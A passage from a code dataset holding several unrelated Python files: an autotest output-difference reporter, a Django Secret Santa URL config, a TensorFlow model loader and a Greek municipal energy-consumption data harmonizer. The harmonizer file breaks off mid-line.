reorg\n p = subprocess.run(\n filter,\n stdout=subprocess.PIPE,\n input=s,\n stderr=subprocess.PIPE,\n shell=isinstance(filter, str),\n universal_newlines=True,\n )\n if p.stderr:\n raise InternalError(\n \"error from postprocess_output_command: \" + p.stderr\n )\n if p.returncode:\n raise InternalError(\n \"non-zero exit status from postprocess_output_command\"\n )\n s = p.stdout\n if debug:\n print(f\"after filter s='{s}'\")\n\n if parameters[\"ignore_case\"]:\n s = s.lower()\n s = s.translate(canonical_translator)\n if parameters[\"ignore_blank_lines\"] and not keep_all_lines:\n s = re.sub(r\"\\n\\s*\\n\", \"\\n\", s)\n s = re.sub(r\"^\\n+\", \"\", s)\n if parameters[\"ignore_trailing_whitespace\"]:\n s = re.sub(r\"[ \\t]+\\n\", \"\\n\", s)\n if debug:\n print(f\"make_string_canonical('{raw_str}') -> '{s}'\")\n return s\n\n\ndef compare_strings(actual, expected, canonical_translator, parameters):\n return make_string_canonical(actual, canonical_translator, parameters) == make_string_canonical(expected, canonical_translator, parameters)\n\n\ndef report_difference(name, expected, actual, canonical_translator, debug, parameters):\n if debug > 1:\n print(f\"report_difference({name}, '{expected}', '{actual}')\")\n canonical_expected = make_string_canonical(expected, canonical_translator, parameters)\n canonical_actual = make_string_canonical(actual, canonical_translator, parameters)\n canonical_actual_plus_newlines = make_string_canonical(actual, canonical_translator, parameters, keep_all_lines=True)\n canonical_expected_plus_newlines = make_string_canonical(expected, canonical_translator, parameters, keep_all_lines=True)\n return explain_output_differences(\n name,\n expected,\n canonical_expected,\n canonical_expected_plus_newlines,\n actual,\n canonical_actual,\n canonical_actual_plus_newlines,\n **parameters,\n )\n\n\ndef report_bit_differences(expected, actual):\n feedback = \"\"\n\n # compare bit length\n expected_len = len(expected)\n actual_len = len(actual)\n if expected_len != actual_len:\n feedback = f\"Your output was {actual_len} bytes long. \"\n feedback += f\"It should have been {expected_len} bytes long. \"\n return feedback\n\n n_different = 0\n expected = int(expected.hex(), base=16)\n actual = int(actual.hex(), base=16)\n different_bytes = expected ^ actual\n for i in range(len(str(bin(different_bytes))) - 2):\n if different_bytes & (1 << i):\n n_different += 1\n\n feedback += f\"There were {n_different} different bits between your output and the expected output\\n\"\n\n return feedback\n\n\ndef check_bad_characters(colored, str, expected=\"\"):\n if re.search(r\"[\\x00-\\x08\\x14-\\x1f\\x7f-\\xff]\", expected):\n return None\n for (line_number, line) in enumerate(str.splitlines()):\n m = re.search(r\"^(.*?)([\\x00-\\x08\\x14-\\x1f\\x7f-\\xff])\", line)\n if not m:\n continue\n (prefix, offending_char) = m.groups()\n offending_value = ord(offending_char)\n if offending_value == 0:\n description = \"zero byte ('\" + colored(r\"\\0\", \"red\") + \"')\"\n elif offending_value > 127:\n description = \"non-ascii byte \" + colored(\n r\"\\x\" + f\"{offending_value:02x}\", \"red\"\n )\n else:\n description = \"non-printable character \" + colored(\n r\"\\x\" + f\"{offending_value:02x}\", \"red\"\n )\n column = len(prefix)\n explanation = f\"Byte {column + 1} of line {line_number + 1} of your program's output is a {description}\\n\"\n explanation += f\"Here is line {line_number + 1} with non-printable characters replaced with backslash-escaped equivalents:\\n\\n\"\n line = line.encode(\"unicode_escape\").decode(\"ascii\") + \"\\n\\n\"\n line = re.sub(r\"(\\\\x[0-9a-f][0-9a-f])\", colored(r\"\\1\", \"red\"), line)\n explanation += line\n return explanation\n return None\n\n\ndef explain_output_differences(\n name,\n expected,\n canonical_expected,\n canonical_expected_plus_newlines,\n actual,\n canonical_actual,\n canonical_actual_plus_newlines,\n show_expected_output=True,\n show_actual_output=True,\n show_diff=True,\n max_lines_shown=32,\n max_line_length_shown=1024,\n debug=False,\n **parameters,\n):\n max_lines_shown = int(max_lines_shown)\n max_line_length_shown = int(max_line_length_shown)\n colored = termcolor_colored if parameters[\"colorize_output\"] else lambda_function\n\n if canonical_expected and not actual:\n if name == STDOUT:\n return colored(\"Your program produced no output\\n\", \"red\")\n word = \"on\" if name == STDERR else \"in\"\n explanation = colored(f\"Your program produced no output {word} {name}\\n\", \"red\")\n if show_expected_output:\n explanation += f\"\\nThe correct {name} for this test was:\\n\"\n explanation += colored(sanitize_string(expected, **parameters), \"green\")\n return explanation\n\n if debug > 1:\n print(f\"explain_output_differences({name}, '{expected}', '{actual}')\")\n\n # check if output is correct but just missing a character\n # but don't use this for short outputs\n if canonical_expected[0:-1] == canonical_actual and (\n len(canonical_actual) > 8\n or (canonical_actual and canonical_actual[-1] in \". \\n\")\n ):\n missing_char = colored(repr(canonical_expected[-1]), \"red\")\n return f\"Your program's {name} was correct except it was missing a {missing_char} character on the end.\\n\"\n\n # check if output is correct but has an extra character\n # but don't use this for short outputs\n\n # there is a special case where an extra '\\n' will cause trailing spaces on the last line of expected output\n # to be stripped actual[0:-1] == canonical_expected remedies that in some cases\n if (\n canonical_actual[0:-1] == canonical_expected\n or actual[0:-1] == canonical_expected\n ) and (\n len(canonical_actual) > 8\n or (canonical_actual and canonical_actual[-1] in \". \\n\")\n ):\n extra_char = colored(repr(canonical_actual[-1]), \"red\")\n suffix = \"\"\n if \"\\ufffd\" == canonical_actual[-1]:\n extra_char = colored(\"'\\\\xff'\", \"red\")\n suffix = \"This can result from printing the EOF value returned by getchar.\\n\"\n return f\"Your program's {name} was correct except it had an extra {extra_char} character on the end.\\n{suffix}\"\n actual_line_color = defaultdict(lambda: \"green\")\n explanation = \"\"\n actual_lines = actual.splitlines()\n n_actual_lines = len(actual_lines)\n expected_lines = expected.splitlines()\n canonical_actual_lines = canonical_actual_plus_newlines.splitlines()\n canonical_expected_lines = canonical_expected_plus_newlines.splitlines()\n n_canonical_expected_lines = len(canonical_expected_lines)\n\n if n_actual_lines > 1:\n actual_description = f\"Your program produced these {n_actual_lines} lines of {name}:\\n\"\n else:\n actual_description = f\"Your program produced this line of {name}:\\n\"\n\n if not expected and actual:\n explanation = colored(f\"No {name} was expected for this test and your program produced {n_actual_lines} lines of {name}\\n\", \"red\")\n if show_actual_output:\n explanation += actual_description\n explanation += sanitize_string(\n actual,\n line_color=defaultdict(\n lambda: \"red\" if parameters[\"colorize_output\"] else \"\"\n ),\n **parameters,\n )\n return explanation\n if (\n len(canonical_expected_lines) == len(canonical_actual_lines)\n and 2 < len(canonical_actual_lines) < 1000\n and sorted(canonical_expected_lines) == sorted(canonical_actual_lines)\n ):\n explanation += colored(f\"\\nYour program produced the correct {name} lines but in the wrong order.\\n\", \"red\")\n\n # FIXME changes canonical_actual_lines, canonical_expected_lines, actual_lines, expected_lines\n diff_explanation = create_diff(\n canonical_actual_lines,\n canonical_expected_lines,\n actual_lines,\n expected_lines,\n name,\n colored,\n max_lines_shown,\n debug,\n actual_line_color,\n )\n if not parameters[\"colorize_output\"]:\n actual_line_color = defaultdict(lambda: \"\")\n\n if show_actual_output:\n if actual_lines:\n explanation += actual_description\n explanation += sanitize_string(actual, line_color=actual_line_color, **parameters)\n if expected and actual and actual[-1] != \"\\n\" and expected[-1] == \"\\n\":\n explanation += \"Last line of output above was not terminated with a newline('\\\\n') character\\n\"\n if show_expected_output and canonical_expected_lines:\n explanation += f\"\\nThe correct {n_canonical_expected_lines} lines of {name} for this test were:\\n\"\n explanation += colored(sanitize_string(expected, **parameters), \"green\")\n\n if not actual_lines or not show_diff:\n return explanation\n\n # check if the difference is a simple character transliteration\n if 8 < len(canonical_expected) < 1000:\n actual_chars = set(canonical_actual)\n expected_chars = set(canonical_expected)\n actual_not_expected = actual_chars - expected_chars\n expected_not_actual = expected_chars - actual_chars\n if len(actual_not_expected) == 1 and len(expected_not_actual) == 1:\n actual_char = actual_not_expected.pop()\n expected_char = expected_not_actual.pop()\n if canonical_actual.replace(actual_char, expected_char) == canonical_expected:\n n = canonical_actual.count(actual_char)\n if n == 1:\n format_str = \"a '%s' with a '%s' character.\"\n else:\n format_str = \"all '%s' characters with '%s' characters.\"\n explanation += f\"\\nYour program's {name} would be correct if you replaced \"\n explanation += format_str % (colored(actual_char, \"red\"), colored(expected_char, \"green\"))\n explanation += \"\\n\"\n return explanation\n if len(actual_not_expected) == 1 and len(expected_not_actual) == 0:\n actual_char = actual_not_expected.pop()\n if canonical_actual.replace(actual_char, \"\") == canonical_expected:\n n = canonical_actual.count(actual_char)\n if n == 1:\n format_str = \"a '%s' character.\"\n else:\n format_str = \"all '%s' characters.\"\n explanation += f\"Your program's {name} would be correct if you removed \"\n explanation += format_str % (colored(actual_char, \"red\"))\n explanation += \"\\n\"\n return explanation\n if diff_explanation:\n explanation += \"\\n\" + \"\\n\".join(diff_explanation[0:max_lines_shown]) + \"\\n\"\n return explanation\n\n\ndef create_diff(\n canonical_actual_lines,\n canonical_expected_lines,\n actual_lines,\n expected_lines,\n name,\n colored,\n max_lines_shown,\n debug,\n actual_line_color,\n):\n prefix_removed = 0\n # difflib.ndiff is horrendously slow so clear matching prefix & suffix\n # but leave 1 line of matching prefix and suffix for context\n if (\n canonical_actual_lines\n and canonical_expected_lines\n and canonical_actual_lines[0] == canonical_expected_lines[0]\n ):\n while (\n len(canonical_actual_lines) > 1\n and len(canonical_expected_lines) > 1\n and canonical_actual_lines[1] == canonical_expected_lines[1]\n ):\n actual_lines.pop(0)\n expected_lines.pop(0)\n canonical_actual_lines.pop(0)\n canonical_expected_lines.pop(0)\n prefix_removed += 1\n\n # don't leave empty prefixes - this triggers a difflib bug?\n if canonical_actual_lines[0:1] == [\"\"] and canonical_expected_lines[0:1] == [\"\"]:\n actual_lines.pop(0)\n expected_lines.pop(0)\n canonical_actual_lines.pop(0)\n canonical_expected_lines.pop(0)\n prefix_removed += 1\n\n suffix_removed = 0\n if (\n canonical_actual_lines\n and canonical_expected_lines\n and canonical_actual_lines[-1] == canonical_expected_lines[-1]\n ):\n while (\n len(canonical_actual_lines) > 1\n and len(canonical_expected_lines) > 1\n and canonical_actual_lines[-2] == canonical_expected_lines[-2]\n ):\n actual_lines.pop()\n expected_lines.pop()\n canonical_actual_lines.pop()\n canonical_expected_lines.pop()\n suffix_removed += 1\n\n # don't leave empty suffix in case this also triggers a difflib bug?\n if canonical_actual_lines[-1:] == [\"\"] and canonical_expected_lines[-1:] == [\"\"]:\n actual_lines.pop()\n expected_lines.pop()\n canonical_actual_lines.pop()\n canonical_expected_lines.pop()\n suffix_removed += 1\n\n maximum_len_for_diff = 128\n diff_truncated = False\n if (\n len(canonical_expected_lines) > maximum_len_for_diff\n or len(canonical_actual_lines) > maximum_len_for_diff\n ):\n actual_lines = actual_lines[0:maximum_len_for_diff]\n expected_lines = expected_lines[0:maximum_len_for_diff]\n canonical_actual_lines = canonical_actual_lines[0:maximum_len_for_diff]\n canonical_expected_lines = canonical_expected_lines[0:maximum_len_for_diff]\n diff_truncated = True\n\n expected_line_number = 0\n actual_line_number = 0\n diff = difflib.ndiff(canonical_actual_lines, canonical_expected_lines)\n diff_explanation = [\n f\"The difference between your {name}({colored('-', 'red')})\"\n + f\" and the correct {name}({colored('+', 'green')}) is:\"\n ]\n if prefix_removed:\n diff_explanation.append(\"...\")\n try:\n d = \"\"\n last_line_in_diff = False\n context_line = None\n dotdotdot_added = False\n for diff_line in diff:\n if not diff_line: # Why would this happen\n continue\n last_d = d\n d = diff_line[0]\n if (\n d in \"-+\"\n and diff_explanation\n and context_line\n and diff_explanation[-1] == \"...\"\n ):\n diff_explanation[-1] = context_line\n context_line = None\n if d == \"-\":\n diff_explanation.append(\n colored(\"- \" + actual_lines[actual_line_number], \"red\")\n )\n actual_line_color[prefix_removed + actual_line_number] = \"red\"\n actual_line_number += 1\n elif d == \"+\":\n diff_explanation.append(\n colored(\"+ \" + expected_lines[expected_line_number], \"green\")\n )\n expected_line_number += 1\n elif d == \"?\":\n # include column marker only if line has not been changed before diff\n if last_d == \"+\":\n if (\n canonical_expected_lines[expected_line_number - 1]\n == expected_lines[expected_line_number - 1]\n ):\n diff_explanation.append(diff_line)\n elif last_d == \"-\":\n if (\n canonical_actual_lines[actual_line_number - 1]\n == actual_lines[actual_line_number - 1]\n ):\n diff_explanation.append(diff_line)\n elif d == \" \":\n context_line = \" \" + actual_lines[actual_line_number]\n if last_line_in_diff:\n diff_explanation.append(context_line)\n elif not dotdotdot_added:\n diff_explanation.append(\"...\")\n dotdotdot_added = True\n actual_line_number += 1\n expected_line_number += 1\n if d in \"-+\":\n dotdotdot_added = False\n last_line_in_diff = True\n else:\n last_line_in_diff = False\n if len(diff_explanation) > 2 * max_lines_shown:\n break\n if (diff_truncated or suffix_removed) and diff_explanation[-1] != \"...\":\n diff_explanation.append(\"...\")\n except IndexError:\n print(\"IndexError: unexpected diff output\")\n # unexpected diff output might break above code\n return diff_explanation\n\n\ndef sanitize_string(\n unsanitized_string,\n leave_tabs=False,\n leave_colorization=False,\n max_lines_shown=32,\n max_line_length_shown=1024,\n # pylint: disable=dangerous-default-value\n line_color=defaultdict(lambda: \"\"),\n **parameters,\n):\n max_lines_shown = int(max_lines_shown)\n max_line_length_shown = int(max_line_length_shown)\n lines = unsanitized_string.splitlines()\n append_repeat_message = False\n if len(lines) >= max_lines_shown:\n last_line_index = len(lines) - 1\n last_line = lines[last_line_index]\n repeats = 1\n while (\n repeats <= last_line_index and lines[last_line_index - repeats] == last_line\n ):\n repeats += 1\n if repeats > max_lines_shown / 2 and len(lines) - repeats < max_lines_shown - 1:\n append_repeat_message = True\n lines = lines[0 : last_line_index + 2 - repeats]\n\n sanitized_lines = []\n for (line_number, line) in enumerate(lines):\n if line_number >= max_lines_shown:\n sanitized_lines.append(\"...\\n\")\n break\n if len(line) > max_line_length_shown:\n line = line[0:max_line_length_shown] + \" ...\"\n line = line.encode(\"unicode_escape\").decode(\"ascii\")\n if leave_colorization:\n line = line.replace(r\"\\x1b\", \"\\x1b\")\n if leave_tabs:\n line = line.replace(r\"\\t\", \"\\t\")\n line = line.replace(r\"\\\\\", \"\\\\\")\n color = line_color[line_number]\n if color:\n line = termcolor_colored(line, color)\n sanitized_lines.append(line)\n if append_repeat_message:\n repeat_message = f\"\"\n if parameters[\"colorize_output\"]:\n repeat_message = termcolor_colored(repeat_message, \"red\")\n sanitized_lines.append(repeat_message)\n return \"\\n\".join(sanitized_lines) + \"\\n\"\n\n\n# inserts \\x into a hex string, useful for printing sometimes\ndef insert_hex_slash_x(self, string):\n return \"\\\\x\" + \"\\\\x\".join(string[i : i + 2] for i in range(0, len(string), 2))\n\n\ndef echo_command_for_string(test_input):\n options = []\n if test_input and test_input[-1] == \"\\n\":\n test_input = test_input[:-1]\n else:\n options += [\"-n\"]\n echo_string = shlex.quote(test_input)\n if \"\\n\" in test_input[:-1]:\n echo_string = echo_string.replace(\"\\\\\", r\"\\\\\")\n options += [\"-e\"]\n echo_string = echo_string.replace(\"\\n\", r\"\\n\")\n command = \"echo \"\n if options:\n command += \" \".join(options) + \" \"\n return command + echo_string","repo_name":"hexDoor/lemontest","sub_path":"lemontest/test_definition/output_differences.py","file_name":"output_differences.py","file_ext":"py","file_size_in_byte":20443,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"41442555021","text":"from django.conf.urls.defaults import *\nfrom django.views.generic.simple import direct_to_template\n\nurlpatterns = patterns('djangosanta.secretsanta.views',\n\turl(r'^about/$', 'direct_to_template', {'template':'about.html'}, name=\"about\"),\n\turl(r'^privacy/$', 'direct_to_template', {'template':'privacy.html'}, name=\"privacy\"),\t\n\turl(r'^support/$', 'direct_to_template', {'template':'support.html'}, name=\"support\"),\n\turl(r'^request/$', 'request_invite', name=\"request-invite\"),\n\turl(r'^invitefriends/(?P\\d+)/$', 'invite_friends', name=\"invite-friends\"),\t\n\turl(r'^confirmrequest/$', 'confirm_request', name='confirm_request'),\n\turl(r'^resend/$', 'resend_invite', name=\"resend-invite\"),\t\n\turl(r'^interests/$', 'add_interests', name=\"interests\"),\t\t\n\turl(r'^register/$', 'register', name=\"register\"),\t\n\turl(r'^deletemember/(?P\\d+)/(?P.+)/$', 'delete_member', name=\"delete-member\"),\t\t\t\n\turl(r'^members/(?P\\d+)/$', 'edit_members', name=\"edit-members\"),\t\t\n\turl(r'^create/$', 'group', name=\"create\"),\n\turl(r'^deletegroup/(?P.+)/$', 'delete_group', name=\"delete-group\"),\t\n\turl(r'^joingroup/$', 'join_group', name=\"join-group\"),\t\n\turl(r'^editgroup/(?P\\d+)/$', 'group', name=\"editgroup\"),\t\n\turl(r'^login/$', 'login', name=\"login\"),\n\turl(r'^actions/$', 'actions', name=\"actions\"),\n\turl(r'^suggestions/(?P[^/]+)/$', 'gift_suggestions', name=\"gift-suggestions\"),\n\turl(r'^$', 'home', name=\"home\"),\n)\n\nurlpatterns += patterns('',\n\turl(r'^logout/$', 'django.contrib.auth.views.logout', {'next_page': '/'}, name=\"logout\"),\t\n)\n","repo_name":"mikeyk/secretsanta","sub_path":"secretsanta/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"41161850830","text":"import os\nimport numpy as np\n\nimport six.moves.urllib as urllib\nimport sys\nimport tarfile\nimport tensorflow as tf\nimport time\n\n\nclass Model:\n def __init__(self):\n print(\"Init Globals\")\n\n @staticmethod\n def loadModel():\n print('START LOADING MODEL>>>>>>>>>>.........')\n start_time = time.time()\n\n sys.path.append(\"./models-1.13.0/research\")\n from object_detection.utils import label_map_util\n # What model to download.\n MODEL_NAME = 'ssd_mobilenet_v2_coco_2018_03_29'\n MODEL_FILE = MODEL_NAME + '.tar.gz'\n DOWNLOAD_BASE = 'http://download.tensorflow.org/models/object_detection/'\n\n # Path to frozen detection graph. This is the actual model that is used for the object detection.\n PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\n # List of the strings that is used to add correct label for each box.\n PATH_TO_LABELS = os.path.join(os.getcwd(),\n 'models-1.13.0/research/object_detection/data/mscoco_label_map.pbtxt')\n\n NUM_CLASSES = 90\n IMAGE_SIZE = (20, 16)\n\n opener = urllib.request.URLopener()\n opener.retrieve(DOWNLOAD_BASE + MODEL_FILE, MODEL_FILE)\n tar_file = tarfile.open(MODEL_FILE)\n for file in tar_file.getmembers():\n file_name = os.path.basename(file.name)\n if 'frozen_inference_graph.pb' in file_name:\n tar_file.extract(file, os.getcwd())\n\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, \\\n use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n\n Model.category_index = category_index\n Model.detection_graph = detection_graph\n print('STOP LOADING MODEL>>>>>>>>>>.........')\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\nModel.loadModel()","repo_name":"haiphucnguyen/MachineLearning","sub_path":"object-detection/backend/app/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70565934807","text":"from calendar import monthrange\nfrom functools import partial\nfrom hashlib import sha256\n\nimport pandas as pd\nfrom neo4j import GraphDatabase\nfrom rdflib import Namespace\nfrom utils.cache import Cache\nfrom utils.data_transformations import *\nfrom utils.hbase import save_to_hbase\nfrom utils.neo4j import create_sensor\nfrom utils.nomenclature import harmonized_nomenclature\nfrom utils.rdf.rdf_functions import generate_rdf\nfrom utils.rdf.save_rdf import save_rdf_with_source, link_devices_with_source\nfrom slugify import slugify\nimport settings\nfrom ontology.namespaces_definition import units, bigg_enums\nfrom sources.Greece.harmonizer.Mapper import Mapper\n\nmax_meter = 99999\ntranslations = {'Municipality unit': 'Municipal unit'}\n\nTS_COLUMNS = ['StartDate', 'EndDate', 'Year', 'Month', 'Unique ID', 'Current record', 'Previous record', 'Variable',\n 'Recording date', 'Previous recording date']\n\n\ndef get_source_df(df, user, conn):\n neo = GraphDatabase.driver(**conn)\n with neo.session() as session:\n source_id = session.run(f\"\"\"\n Match (n:FileSource)<-[:hasSource]-(org{{userID:\"{user}\"}})\n RETURN id(n) as id\"\"\").data()\n df['source_id'] = source_id[0]['id']\n return df[['device_subject', 'source_id']]\n\n\ndef set_municipality(df):\n # municipality_dic = Cache.municipality_dic_GR\n\n # read xlsx dict\n df_municipalities = pd.read_excel(\"sources/Greece/harmonizer/municipalityMapping.xlsx\", sheet_name=\"Crete\")\n df_municipalities.set_index(\"Nom en Grec\", inplace=True)\n df.loc[:, 'hasAddressCity'] = df.Municipality.map(df_municipalities['Geo_names'].to_dict())\n df['hasAddressCity'] = df.hasAddressCity.apply(lambda x: rdflib.URIRef(x))\n\ndef clean_static_data(df, config):\n df.rename(columns=translations, inplace=True)\n df_municipalities = pd.read_excel(\"sources/Greece/harmonizer/municipalityMapping.xlsx\", sheet_name=\"Crete\")\n df_municipalities.set_index(\"Nom en Grec\", inplace=True)\n # Location Organization Subject\n df['location_organization_subject'] = df['Municipality'].map(df_municipalities['Nom Europeu'].to_dict()).apply(slugify).apply(building_department_subject)\n # Building\n df['building_organization_subject'] = df['Unique ID'].apply(building_department_subject)\n df['building_subject'] = df['Unique ID'].apply(building_subject)\n\n # Building Space\n df['building_space_subject'] = df['Unique ID'].apply(building_space_subject)\n\n # Location\n df['location_subject'] = df['Unique ID'].apply(location_info_subject)\n # crete\n df['hasAddressProvince'] = rdflib.URIRef(\"https://sws.geonames.org/6697802/\")\n set_municipality(df)\n\n # Device\n df['device_subject'] = df['Unique ID'].apply(partial(device_subject, source=config['source']))\n return df\n\n\ndef distribute_consumption(x):\n range = pd.date_range(x.StartDate, x.EndDate, freq=\"D\")\n d_df = pd.DataFrame(index=range)\n d_df['value'] = x['value'] / len(d_df)\n return d_df\n\n\ndef calculate_value(x):\n if x['Current record'] >= x['Previous record']:\n return (x['Current record'] - x['Previous record']) * x['Variable']\n else:\n return (max_meter - x['Previous record'] + x['Current record']) * x['Variable']\n\n\ndef harmonize_ts_data(raw_df, kwargs):\n namespace = kwargs['namespace']\n config = kwargs['config']\n user = kwargs['user']\n\n n = Namespace(namespace)\n\n neo4j_connection = config['neo4j']\n neo = GraphDatabase.driver(**neo4j_connection)\n\n hbase_conn = config['hbase_store_harmonized_data']\n\n for device, df in raw_df.groupby('device_subject'):\n # ESTIMATED VALUES\n # if Current record =! na or 0 the data is REAL\n df['value'] = df.apply(calculate_value, axis=1)\n # also, when startDate is replicated, we keep only the last value\n df = df.sort_values(\"EndDate\").drop_duplicates([\"StartDate\"])\n # generate daily data\n daily = pd.concat(df.apply(distribute_consumption, axis=1).to_list())\n daily = daily[~daily.index.duplicated()]\n monthly = daily.resample('M').mean()\n monthly['value'] = monthly.apply(lambda x: x.value * monthrange(x.name.year, x.name.month)[1], axis=1)\n\n monthly['end_date'] = monthly.index\n monthly['start_date'] = monthly['end_date'] - pd.offsets.MonthBegin(1)\n\n dt_ini = monthly.iloc[0]['start_date']\n dt_end = monthly.iloc[-1]['end_date']\n monthly['start'] = monthly['start_date'].astype(int) // 10 ** 9\n monthly[\"bucket\"] = (monthly['start'].apply(int) // settings.ts_buckets) % settings.buckets\n monthly['end'] = monthly['end_date'].astype(int) // 10 ** 9\n monthly['isReal'] = True\n\n with neo.session() as session:\n device_uri = str(n[device])\n sensor_id = sensor_subject(config['source'], device,\n 'EnergyConsumptionGridElectricity', \"RAW\", \"P1M\")\n sensor_uri = str(n[sensor_id])\n measurement_id = sha256(sensor_uri.encode(\"utf-8\"))\n measurement_id = measurement_id.hexdigest()\n measurement_uri = str(n[measurement_id])\n create_sensor(session, device_uri, sensor_uri, units[\"KiloW-HR\"],\n bigg_enums.EnergyConsumptionGridElectricity, bigg_enums.TrustedModel,\n measurement_uri, True,\n False, False, \"P1M\", \"SUM\", dt_ini, dt_end, settings.namespace_mappings)\n\n monthly['listKey'] = measurement_id\n\n reduced_df = monthly[['start', 'end', 'value', 'listKey', 'bucket', 'isReal']]\n\n device_table = f\"harmonized_online_EnergyConsumptionGridElectricity_100_SUM_P1M_{user}\"\n # device_table = harmonized_nomenclature(mode=HarmonizedMode.ONLINE,\n # data_type='EnergyConsumptionGridElectricity',\n # R=True, C=False, O=False,\n # aggregation_function='SUM',\n # freq=\"P1M\", user=user)\n\n save_to_hbase(reduced_df.to_dict(orient=\"records\"), device_table, hbase_conn,\n [(\"info\", ['end', 'isReal']), (\"v\", ['value'])],\n row_fields=['bucket', 'listKey', 'start'])\n\n\ndef building_filters(df):\n if len(df.Municipality.unique()) > 1:\n raise Exception(\"Error l'excel te més d'un municipi\")\n municipality = df.Municipality.unique()[0]\n if municipality == \"ΡΕΘΥΜΝΗΣ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΡΕΘΥΜΝΗΣ\"]\n if municipality == \"ΑΓΙΟΥ ΝΙΚΟΛΑΟΥ\" or municipality == \"ΑΓ.ΝΙΚΟΛΑΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΑΓ.ΝΙΚΟΛΑΟΥ\"]\n if municipality == \"ΧΑΝΙΩΝ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΧΑΝΙΩΝ\"]\n if municipality == \"ΧΕΡΣΟΝΗΣΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΧΕΡΣΟΝΗΣΟΥ\"]\n if municipality == \"ΗΡΑΚΛΕΙΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΗΡΑΚΛΕΙΟΥ\"]\n if municipality == \"ΜΙΝΩΑ ΠΕΔΙΑΔΑΣ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΜΙΝΩΑ ΠΕΔΙΑΔΟΣ\"]\n if municipality == \"ΑΓ.ΒΑΣΙΛΕΙΟΥ\":\n df1 = df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ\"]\n df2 = df[df['Name of the building or public lighting'].str.contains(\".*ΔΗΜΟΣ.*ΒΑΣΙΛΕΙΟΥ.*\", regex=True)]\n df2 = df2[df2['Name of the building or public lighting'].str.contains(\"(?!.*ΦΟΠ)(?!.*ΦΩΤΙΣΜΟΣ)(?!.*ΦΩΤΙΣΜ)(?!.*ΦΩΤΕΙΝΟΙ)(?!.*ΑΝΤΛΙΟΣ��ΑΘΜΟΣ)(?!.*ΑΦΟΔΕΥΤΗΡΙΑ)(?!.*ΠΑΡΚΙΝΓΚ)(?!.*Φ/B)(?!.*ΣΗΜΑΤΟΔΟΤΕΣ)\")]\n return pd.append([df1, df2])\n if municipality == \"ΑΜΑΡΙΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΑΜΑΡΙΟΥ\"]\n if municipality == \"ΔΗΜΟΣ ΑΝΩΓΕΙΩΝ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΑΝΩΓΕΙΩΝ\"]\n if municipality == \"ΑΠΟΚΟΡΩΝΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΑΠΟΚΟΡΩΝΟΥ\"]\n if municipality == \"ΑΡΧΑΝΩΝ-ΑΣΤΕΡΟΥΣΙΩΝ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΑΡΧΑΝΩΝ\"]\n if municipality == \"ΓΑΥΔΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΓΑΥΔΟΥ\"]\n if municipality == \"ΓΟΡΤΥΝΑΣ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΓΟΡΤΥΝΑΣ\"]\n if municipality == \"ΒΙΑΝΝΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΒΙΑΝΝΟΥ\"]\n\n if municipality == \"ΚΑΝΤΑΝΟΥ-ΣΕΛΙΝΟΥ\":\n return df[(df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΤΑΝΟΥ\") | (\n df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΤΑΝΟΥ ΣΕΛΙΝ ΟΥ\") | (\n df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΤΑΝΟΥ-ΣΕΛΙΝ ΟΥ\")]\n # return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΔΑΝΟΥ\" | df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΤΑΝΟΥ ΣΕΛΙΝ ΟΥ\" | df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΚΑΝΤΑΝΟΥ-ΣΕΛΙΝ ΟΥ\"]\n if municipality == \"ΦΑΙΣΤΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΜΟΙΡΩΝ\"]\n if municipality == \"ΙΕΡΑΠΕΤΡΑΣ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΙΕΡΑΠΕΤΡΑΣ\"]\n if municipality == \"ΜΑΛΕΒΙΖΙΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΜΑΛΕΒΥΖΙΟΥ\"]\n if municipality == \"ΜΥΛΟΠΟΤΑΜΟΥ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΜΥΛΟΠΟΤΑΜΟΥ\"]\n if municipality == \"ΠΛΑΤΑΝΙΑ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ 